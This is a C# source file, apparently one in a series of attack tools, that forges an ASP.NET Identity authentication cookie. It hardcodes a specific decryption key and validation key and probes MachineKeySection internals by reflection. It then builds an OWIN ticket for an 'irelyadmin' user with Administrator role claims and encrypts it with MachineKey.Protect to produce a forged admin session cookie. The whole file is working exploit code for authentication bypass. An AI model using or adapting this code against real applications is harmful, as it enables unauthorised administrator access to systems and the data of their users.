// CookieForge6.cs — Force machineKey via reflection // MachineKey.Protect reads keys from config. We need to override them. // Approach: use reflection to set internal _validationKey and _decryptionKey fields // in the MachineKeySection singleton. using System; using System.Collections.Generic; using System.Security.Claims; using System.Reflection; using System.Web.Security; using System.Web.Configuration; using Microsoft.Owin.Security.Interop; class Program { static void Main(string[] args) { string decKeyHex = "304DCCF3428FB1D39BCBCED801804B829F5BCD4D0E46A0E923AEFD427D9026E7"; string valKeyHex = "632EF20769E89AD1EEF7C18D3AAFFDC07B8D8241A1DAD922C27FFCC57F0A16DAC26AB5C4DF83CEE7289615849BE8FF369A41"; // Force machineKey via reflection on the MachineKeySection try { // Access the MachineKeySection configuration var config = System.Configuration.ConfigurationManager.OpenExeConfiguration( System.Configuration.ConfigurationUserLevel.None); // Set machineKey via config file Console.WriteLine("Config path: " + config.FilePath); // Try direct approach: use MachineKeySection static methods via reflection // MachineKeySection has internal static properties for validation/decryption keys var machineKeyType = typeof(System.Web.Configuration.MachineKeySection); // Force internal validation/decryption keys using reflection // The keys are stored in MachineKeySection.ValidationKeyInternal and DecryptionKeyInternal var fields = machineKeyType.GetFields(BindingFlags.NonPublic | BindingFlags.Static); Console.WriteLine("Static fields:"); foreach (var f in fields) Console.WriteLine(" " + f.Name + " : " + f.FieldType.Name); var props = machineKeyType.GetProperties(BindingFlags.NonPublic | BindingFlags.Static); Console.WriteLine("Static properties:"); foreach (var p in props) Console.WriteLine(" " + p.Name + " : " + p.PropertyType.Name); } catch (Exception ex) { Console.WriteLine("Reflection error: " + ex.Message); } // Alternative: write a temp web.config that sets machineKey, // then run in a way that mono picks it up // Already done via CookieForge5.exe.config // Try another approach: directly construct the protected blob // using the machineKey values var claims = new List { new Claim(ClaimTypes.Name, "irelyadmin"), new Claim(ClaimTypes.NameIdentifier, "1"), new Claim(ClaimTypes.Role, "Administrator"), new Claim("http://schemas.microsoft.com/accesscontrolservice/2010/07/claims/identityprovider", "idsrv3test"), new Claim("Company", "01"), new Claim("UserId", "1"), new Claim("intRoleId", "1"), new Claim("intUserRoleID", "1"), }; var identity = new ClaimsIdentity(claims, "ApplicationCookie", ClaimTypes.Name, ClaimTypes.Role); var authProps = new Microsoft.Owin.Security.AuthenticationProperties { IssuedUtc = DateTimeOffset.UtcNow, ExpiresUtc = DateTimeOffset.UtcNow.AddHours(1), }; authProps.Dictionary[".AspNet.Identity.UserId"] = "1"; authProps.Dictionary[".AspNet.Identity.UserName"] = "irelyadmin"; var ticket = new Microsoft.Owin.Security.AuthenticationTicket(identity, authProps); var serializer = new AspNetTicketSerializer(); byte[] serialized = serializer.Serialize(ticket); Console.WriteLine("Serialized: " + serialized.Length + " bytes"); // Try MachineKey.Protect — check if config is picked up string[] purposes = new string[] { "Microsoft.AspNet.Identity.Application" }; byte[] protected1 = MachineKey.Protect(serialized, purposes); string cookie1 = Convert.ToBase64String(protected1); // Run again to check if deterministic byte[] protected2 = MachineKey.Protect(serialized, purposes); string cookie2 = Convert.ToBase64String(protected2); Console.WriteLine("Cookie 1: " + cookie1.Substring(0, 40) + "..."); Console.WriteLine("Cookie 2: " + cookie2.Substring(0, 40) + "..."); Console.WriteLine("Deterministic (same keys): " + (cookie1 == cookie2)); if (cookie1 == cookie2) { Console.WriteLine("\n=== MachineKey from config IS being used ==="); Console.WriteLine("Cookie: " + cookie1); } else { Console.WriteLine("\n=== MachineKey NOT deterministic (random keys) ==="); Console.WriteLine("Need to force machineKey via different mechanism"); } } }